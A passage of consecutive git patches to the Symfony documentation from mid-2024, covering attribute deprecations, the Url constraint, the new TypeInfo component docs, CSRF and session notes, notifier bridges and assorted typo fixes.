-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'])]
+                #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'])]
                 iterable $handlers
             ) {
             }
@@ -849,12 +849,12 @@ disabled by setting the ``exclude_self`` option to ``false``:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
+                #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)]
                 iterable $handlers
             ) {
             }
@@ -999,12 +999,12 @@ you can define it in the configuration of the collecting service:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', defaultPriorityMethod: 'getPriority')]
+                #[AutowireIterator('app.handler', defaultPriorityMethod: 'getPriority')]
                 iterable $handlers
             ) {
             }
@@ -1073,12 +1073,12 @@ to index the services:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', indexAttribute: 'key')]
+                #[AutowireIterator('app.handler', indexAttribute: 'key')]
                 iterable $handlers
             ) {
             }
@@ -1187,12 +1187,12 @@ get the value used to index the services:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
-                #[TaggedIterator('app.handler', defaultIndexMethod: 'getIndex')]
+                #[AutowireIterator('app.handler', defaultIndexMethod: 'getIndex')]
                 iterable $handlers
             ) {
             }

From 4add5c3a84584eca7fedf90addd32861fef651e7 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 30 Jun 2024 17:11:46 +0200
Subject: [PATCH 4835/5766] update Url constraint

---
 reference/constraints/Url.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index b3a46d5aec4..6e93a284aa7 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -317,6 +317,11 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
     The ``requiredTld`` option was introduced in Symfony 7.1.
 
+.. deprecated:: 7.1
+
+    Not setting the ``requireTld`` option is deprecated since Symfony 7.1
+    and will default to ``true`` in Symfony 8.0.
+
 By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
 because they are tecnically correct according to the `URL spec`_. If you set this option
 to ``true``, the host part of the URL will have to include a TLD (top-level domain

From 4ae71900e4ec8f6f162b8279c5059520c200cb78 Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Sun, 30 Jun 2024 21:42:49 +0200
Subject: [PATCH 4836/5766] Update Url.rst

---
 reference/constraints/Url.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index b3a46d5aec4..f23bbf66a74 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -315,7 +315,7 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
 .. versionadded:: 7.1
 
-    The ``requiredTld`` option was introduced in Symfony 7.1.
+    The ``requireTld`` option was introduced in Symfony 7.1.
 
 By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
 because they are tecnically correct according to the `URL spec`_. If you set this option

From d85d5ee561480163a5cda0d5b31083e15bc68406 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 08:49:09 +0200
Subject: [PATCH 4837/5766] Minor tweaks

---
 reference/attributes.rst                           |  8 +++-----
 service_container/service_subscribers_locators.rst | 12 ++++--------
 2 files changed, 7 insertions(+), 13 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index ba34afd524d..b1f2f9c5d55 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -46,11 +46,9 @@ Dependency Injection
 
 .. deprecated:: 7.1
 
-    The
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-    and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
-    were deprecated in Symfony 7.1.
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    attributes were deprecated in Symfony 7.1.
 
 EventDispatcher
 ~~~~~~~~~~~~~~~
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 9c36f8c82cd..e040ac2b972 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -309,15 +309,11 @@ This is done by having ``getSubscribedServices()`` return an array of
 
 .. deprecated:: 7.1
 
-    The
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
-    and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
-    were deprecated in Symfony 7.1.
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    attributes were deprecated in Symfony 7.1 in favor of
     :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
-    and
-    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
-    should be used instead.
+    and :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`.
 
 .. note::
 

From 4412af03f68ae209c2bb83b94962f90a38b3920d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 09:00:49 +0200
Subject: [PATCH 4838/5766] [Create Framework] Fix a call to
 setTrustedProxies()

---
 create_framework/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index dd838e9a5e2..4406dde64a0 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -255,7 +255,7 @@ code in production without a proxy, it becomes trivially easy to abuse your
 system. That's not the case with the ``getClientIp()`` method as you must
 explicitly trust your reverse proxies by calling ``setTrustedProxies()``::
 
-    Request::setTrustedProxies(['10.0.0.1']);
+    Request::setTrustedProxies(['10.0.0.1'], Request::HEADER_X_FORWARDED_FOR);
 
     if ($myIp === $request->getClientIp()) {
         // the client is a known one, so give it some more privilege

From a06acbc7943b72e76c1ec41608a3cd58cf96200f Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 1 Jul 2024 12:09:27 +0200
Subject: [PATCH 4839/5766] Remove the recipes team

---
 contributing/code/core_team.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 6cef3400384..0a2324b08a3 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -36,8 +36,6 @@ In addition, there are other groups created to manage specific topics:
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
   fixing the reported issues, coordinating the release of security fixes, etc.)
 
-* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
-
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -77,11 +75,6 @@ Active Core Members
   * **Michael Cullum** (`michaelcullum`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Recipes Team**:
-
-  * **Fabien Potencier** (`fabpot`_);
-  * **Tobias Nyholm** (`Nyholm`_).
-
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);

From dbb8dff878189f8c7efff541f949cbcf1ceee090 Mon Sep 17 00:00:00 2001
From: javaDeveloperKid <25783196+javaDeveloperKid@users.noreply.github.com>
Date: Mon, 1 Jul 2024 13:58:24 +0200
Subject: [PATCH 4840/5766] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index fa3f35fa7d1..cae941399f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -157,7 +157,7 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML format. If you
+    By default Symfony only loads the routes defined in YAML and PHP format. If you
     define routes in XML and/or PHP formats, you need to
     :ref:`update the src/Kernel.php file <configuration-formats>`.
 

From e9f7375361f2601927d5e20b5c79271595c2a8fb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 14:59:21 +0200
Subject: [PATCH 4841/5766] Minor tweak

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index cae941399f8..57a087b8cfa 100644
--- a/routing.rst
+++ b/routing.rst
@@ -157,8 +157,8 @@ the ``BlogController``:
 
 .. note::
 
-    By default Symfony only loads the routes defined in YAML and PHP format. If you
-    define routes in XML and/or PHP formats, you need to
+    By default, Symfony loads the routes defined in both YAML and PHP formats.
+    If you define routes in XML format, you need to
     :ref:`update the src/Kernel.php file <configuration-formats>`.
 
 .. _routing-matching-http-methods:

From 3fefb6aacdfa6f078e7b00216ffd670faffdb394 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Tue, 2 Jul 2024 13:58:30 +0200
Subject: [PATCH 4842/5766] Update impersonating_user.rst remove unneeded space

---
 security/impersonating_user.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 41351ab7798..36232243e1f 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -142,7 +142,7 @@ instance, to show a link to exit impersonation in a template:
 .. code-block:: html+twig
 
     {% if is_granted('IS_IMPERSONATOR') %}
-        <a href="{{ impersonation_exit_path(path('homepage') ) }}">Exit impersonation</a>
+        <a href="{{ impersonation_exit_path(path('homepage')) }}">Exit impersonation</a>
     {% endif %}
 
 .. versionadded:: 5.1

From 036a8a02236c4c6afc6b12a5c52c331aff8f1363 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Jul 2024 09:41:29 +0200
Subject: [PATCH 4843/5766] [Form] Mention that enabling CSRF in forms will
 start sessions

---
 security/csrf.rst | 51 ++++++++++++++++++++++++++++++++++++++++++++++-
 session.rst       | 14 +++++++------
 2 files changed, 58 insertions(+), 7 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index fd89ff17ba9..752186e6bfc 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -72,6 +72,8 @@ protected forms. As an alternative, you can:
   load the CSRF token with an uncached AJAX request and replace the form
   field value with it.
 
+.. _csrf-protection-forms:
+
 CSRF Protection in Symfony Forms
 --------------------------------
 
@@ -82,7 +84,54 @@ protected against CSRF attacks.
 .. _form-csrf-customization:
 
 By default Symfony adds the CSRF token in a hidden field called ``_token``, but
-this can be customized on a form-by-form basis::
+this can be customized (1) globally for all forms and (2) on a form-by-form basis.
+Globally, you can configure it under the ``framework.form`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            form:
+                csrf_protection:
+                    enabled: true
+                    field_name: 'custom_token_name'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:form>
+                    <framework:csrf-protection enabled="true" field-name="custom_token_name"/>
+                </framework:form>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->csrfProtection()
+                ->enabled(true)
+                ->fieldName('custom_token_name')
+            ;
+        };
+
+On a form-by-form basis, you can configure the CSRF protection in the ``setDefaults()``
+method of each form::
 
     // src/Form/TaskType.php
     namespace App\Form;
diff --git a/session.rst b/session.rst
index 08e1745d13c..8a8a3ec497c 100644
--- a/session.rst
+++ b/session.rst
@@ -110,13 +110,15 @@ By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
-.. tip::
+Sessions are automatically started whenever you read, write or even check for
+the existence of data in the session. This may hurt your application performance
+because all users will receive a session cookie. In order to prevent starting
+sessions for anonymous users, you must *completely* avoid accessing the session.
+
+.. note::
 
-    Sessions are automatically started whenever you read, write or even check
-    for the existence of data in the session. This may hurt your application
-    performance because all users will receive a session cookie. In order to
-    prevent starting sessions for anonymous users, you must *completely* avoid
-    accessing the session.
+    Sessions will also be created when using features that rely on them internally,
+    such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:
 

From f009a04c3b6035e898329ed34180ba91041111c1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jul 2024 16:09:47 +0200
Subject: [PATCH 4844/5766] Minor tweak

---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 8a8a3ec497c..c03d9435baf 100644
--- a/session.rst
+++ b/session.rst
@@ -117,7 +117,7 @@ sessions for anonymous users, you must *completely* avoid accessing the session.
 
 .. note::
 
-    Sessions will also be created when using features that rely on them internally,
+    Sessions will also be started when using features that rely on them internally,
     such as the :ref:`CSRF protection in forms <csrf-protection-forms>`.
 
 .. _flash-messages:

From b6ffad3ce5e5b558c420f99a5852bd88b5f8ea69 Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Wed, 7 Feb 2024 10:11:28 +0100
Subject: [PATCH 4845/5766] [TypeInfo] Add documentation

---
 components/type_info.rst | 71 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)
 create mode 100644 components/type_info.rst

diff --git a/components/type_info.rst b/components/type_info.rst
new file mode 100644
index 00000000000..12960ff49d2
--- /dev/null
+++ b/components/type_info.rst
@@ -0,0 +1,71 @@
+The TypeInfo Component
+======================
+
+    The TypeInfo component extracts PHP types information. It aims to:
+
+    - Have a powerful Type definition that can handle union, intersections, and generics (and could be even more extended)
+
+    - Being able to get types from anything, such as properties, method arguments, return types, and raw strings (and can also be extended).
+
+.. caution::
+
+    This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time
+    without prior notice.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/type-info
+
+.. include:: /components/require_autoload.rst.inc
+
+Usage
+-----
+
+This component will gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that represents
+the PHP type of whatever you builded or asked to resolve.
+
+There are two ways to use this component. First one is to create a type manually thanks
+to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
+
+    use Symfony\Component\TypeInfo\Type;
+
+    Type::int();
+    Type::nullable(Type::string());
+    Type::generic(Type::object(Collection::class), Type::int());
+    Type::list(Type::bool());
+    Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
+
+    // Many others are available and can be
+    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+
+
+Second way to use TypeInfo is to resolve a type based on reflection or a simple string::
+
+    use Symfony\Component\TypeInfo\Type;
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    // Instantiate a new resolver
+    $typeResolver = TypeResolver::create();
+
+    // Then resolve types for any subject
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type instance
+    $typeResolver->resolve('bool'); // returns a "bool" Type instance
+
+    // Types can be instantiated thanks to static factories
+    $type = Type::list(Type::nullable(Type::bool()));
+
+    // Type instances have several helper methods
+    $type->getBaseType() // returns an "array" Type instance
+    $type->getCollectionKeyType(); // returns an "int" Type instance
+    $type->getCollectionValueType()->isNullable(); // returns true
+
+Each of this rows will return you a Type instance that will corresponds to whatever static method you used to build it.
+We also can resolve a type from a string like we can see in this example with the `'bool'` parameter it is mostly
+designed that way so we can give TypeInfo a string from whatever was extracted from existing phpDoc within PropertyInfo.
+
+.. note::
+
+    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.

From 6bb4ae9e19d8a8a7181db4d0d9bbf5815b9553e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jul 2024 16:52:12 +0200
Subject: [PATCH 4846/5766] Minor rewords

---
 components/type_info.rst | 30 +++++++++++++++++-------------
 1 file changed, 17 insertions(+), 13 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 12960ff49d2..f3d1119b1af 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -1,16 +1,20 @@
 The TypeInfo Component
 ======================
 
-    The TypeInfo component extracts PHP types information. It aims to:
+The TypeInfo component extracts type information from PHP elements like properties,
+arguments and return types.
 
-    - Have a powerful Type definition that can handle union, intersections, and generics (and could be even more extended)
+This component provides:
 
-    - Being able to get types from anything, such as properties, method arguments, return types, and raw strings (and can also be extended).
+* A powerful ``Type`` definition that can handle unions, intersections, and generics
+  (and can be extended to support more types in the future);
+* A way to get types from PHP elements such as properties, method arguments,
+  return types, and raw strings.
 
 .. caution::
 
-    This component is :doc:`experimental </contributing/code/experimental>` and could be changed at any time
-    without prior notice.
+    This component is :doc:`experimental </contributing/code/experimental>` and
+    could be changed at any time without prior notice.
 
 Installation
 ------------
@@ -24,11 +28,11 @@ Installation
 Usage
 -----
 
-This component will gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that represents
-the PHP type of whatever you builded or asked to resolve.
+This component gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that
+represents the PHP type of anything you built or asked to resolve.
 
 There are two ways to use this component. First one is to create a type manually thanks
-to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
+to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
 
     use Symfony\Component\TypeInfo\Type;
 
@@ -41,8 +45,8 @@ to :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
-
-Second way to use TypeInfo is to resolve a type based on reflection or a simple string::
+The second way of using the component is to use ``TypeInfo`` to resolve a type
+based on reflection or a simple string::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
@@ -62,9 +66,9 @@ Second way to use TypeInfo is to resolve a type based on reflection or a simple
     $type->getCollectionKeyType(); // returns an "int" Type instance
     $type->getCollectionValueType()->isNullable(); // returns true
 
-Each of this rows will return you a Type instance that will corresponds to whatever static method you used to build it.
-We also can resolve a type from a string like we can see in this example with the `'bool'` parameter it is mostly
-designed that way so we can give TypeInfo a string from whatever was extracted from existing phpDoc within PropertyInfo.
+Each of this calls will return you a ``Type`` instance that corresponds to the
+static method used. You can also resolve types from a string (as shown in the
+``bool`` parameter of the previous example)
 
 .. note::
 

From 8e0643a9c8f7a5608b315245335ef89badee0f60 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Tue, 2 Jul 2024 17:34:07 +0200
Subject: [PATCH 4847/5766] Fix typo in the new TypeInfo docs

---
 components/type_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index f3d1119b1af..77e25451e6c 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -66,7 +66,7 @@ based on reflection or a simple string::
     $type->getCollectionKeyType(); // returns an "int" Type instance
     $type->getCollectionValueType()->isNullable(); // returns true
 
-Each of this calls will return you a ``Type`` instance that corresponds to the
+Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 

From 09e7fab9107d5bd8d001598b9b7fdd7754f1d397 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Jul 2024 09:27:30 +0200
Subject: [PATCH 4848/5766] [TypeInfo] Better explain the getBaseType() method

---
 components/type_info.rst | 17 ++++++++++++++---
 1 file changed, 14 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 77e25451e6c..1c42a89b3c8 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -62,9 +62,20 @@ based on reflection or a simple string::
     $type = Type::list(Type::nullable(Type::bool()));
 
     // Type instances have several helper methods
-    $type->getBaseType() // returns an "array" Type instance
-    $type->getCollectionKeyType(); // returns an "int" Type instance
-    $type->getCollectionValueType()->isNullable(); // returns true
+
+    // returns the main type (e.g. in this example ir returns an "array" Type instance)
+    // for nullable types (e.g. string|null) returns the non-null type (e.g. string)
+    // and for compound types (e.g. int|string) it throws an exception because both types
+    // can be considered the main one, so there's no way to pick one
+    $baseType = $type->getBaseType();
+
+    // for collections, it returns the type of the item used as the key
+    // in this example, the collection is a list, so it returns and "int" Type instance
+    $keyType = $type->getCollectionKeyType();
+
+    // you can chain the utility methods e.g. to introspect the values of the collection
+    // the following code will return true
+    $isValueNullable = $type->getCollectionValueType()->isNullable();
 
 Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the

From c4e8ace5ce8e095c4c6a67a1db20d979a003195b Mon Sep 17 00:00:00 2001
From: sakul95 <60596924+sakul95@users.noreply.github.com>
Date: Wed, 3 Jul 2024 10:10:25 +0200
Subject: [PATCH 4849/5766] [Notifier] Add Sipgate bridge

---
 notifier.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 1a19c135a7c..3ecb8878fb4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -159,6 +159,9 @@ Service
 `Sinch`_            **Install**: ``composer require symfony/sinch-notifier`` \
                     **DSN**: ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Sipgate`_          **Install**: ``composer require symfony/sipgate-notifier`` \
+                    **DSN**: ``sipgate://TOKEN_ID:TOKEN@default?senderId=SENDER_ID`` \
+                    **Webhook support**: No
 `SmsSluzba`_        **Install**: ``composer require symfony/sms-sluzba-notifier`` \
                     **DSN**: ``sms-sluzba://USERNAME:PASSWORD@default`` \
                     **Webhook support**: No
@@ -214,6 +217,10 @@ Service
     The ``Smsbox``, ``SmsSluzba``, ``SMSense``, ``LOX24`` and ``Unifonic``
     integrations were introduced in Symfony 7.1.
 
+.. versionadded:: 7.2
+
+    The ``Sipgate`` integration was introduced in Symfony 7.2.
+
 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since
@@ -1131,6 +1138,7 @@ is dispatched. Listeners receive a
 .. _`Seven.io`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sevenio/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
+.. _`Sipgate`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sipgate/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md

From 102bad6e2df20b8e42d3535e8436ce97d6bba6ba Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 7 Jul 2024 05:56:42 +0200
Subject: [PATCH 4850/5766] remove link to apc documentation

---
 performance.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index dc44757be64..cf41c814eb6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -91,7 +91,7 @@ Use the OPcache Byte Code Cache
 OPcache stores the compiled PHP files to avoid having to recompile them for
 every request. There are some `byte code caches`_ available, but as of PHP
 5.5, PHP comes with `OPcache`_ built-in. For older versions, the most widely
-used byte code cache is `APC`_.
+used byte code cache is APC.
 
 .. _performance-use-preloading:
 
@@ -347,7 +347,6 @@ Learn more
 .. _`byte code caches`: https://en.wikipedia.org/wiki/List_of_PHP_accelerators
 .. _`OPcache`: https://www.php.net/manual/en/book.opcache.php
 .. _`Composer's autoloader optimization`: https://getcomposer.org/doc/articles/autoloader-optimization.md
-.. _`APC`: https://www.php.net/manual/en/book.apc.php
 .. _`APCu Polyfill component`: https://github.com/symfony/polyfill-apcu
 .. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php
 .. _`cachetool`: https://github.com/gordalina/cachetool

From 9f4e5a5fb5418489978f0b30e5803e4eaec80baf Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 7 Jul 2024 13:56:54 +0200
Subject: [PATCH 4851/5766] Remove the Gitter bridge

---
 notifier.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 5fe86724fe1..cbc23655124 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -351,7 +351,6 @@ Service                                  Package                               D
 `Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 `FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 `Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
-`Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 `GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 `LINE Notify`_                           ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
@@ -1105,7 +1104,6 @@ is dispatched. Listeners receive a
 .. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
-.. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
 .. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md

From 3533f9606d13cd530568b05f4cd01ccad2a29f5f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jul 2024 17:34:47 +0200
Subject: [PATCH 4852/5766] Add a short mention to apache-pack in the web
 server docs

---
 setup/web_server_configuration.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 1f62d5e9af6..e5a0c9e7fd9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -95,6 +95,14 @@ directive to pass requests for PHP files to PHP FPM:
         CustomLog /var/log/apache2/project_access.log combined
     </VirtualHost>
 
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Nginx
 -----
 

From c827484499fe5affe3980a99b931798c53e190a9 Mon Sep 17 00:00:00 2001
From: Andrii Sukhoi <andrii.sukhoi@gmail.com>
Date: Fri, 5 Jul 2024 17:19:32 +0200
Subject: [PATCH 4853/5766] Fix typo

Change Whilst to While
---
 components/dependency_injection/compilation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

